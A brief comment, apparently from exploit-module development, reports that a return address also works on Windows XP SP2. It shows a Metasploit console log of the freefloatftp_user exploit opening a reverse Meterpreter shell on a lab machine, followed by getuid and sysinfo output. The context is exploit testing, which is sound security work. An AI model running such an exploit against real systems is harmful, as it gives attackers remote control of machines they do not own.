This same ret works on SP2:

````
msf exploit(freefloatftp_user) > exploit

[*] Started reverse handler on 192.168.56.1:4444 
[*] Sending stage (751104 bytes) to 192.168.56.101
[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.101:1105) at 2013-04-17 10:25:21 -0400

meterpreter > getuid
Server username: VULNORG-307C512\VulnUser
meterpreter > sysinfo
Computer        : VULNORG-307C512
OS              : Windows XP (Build 2600, Service Pack 2).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > 
````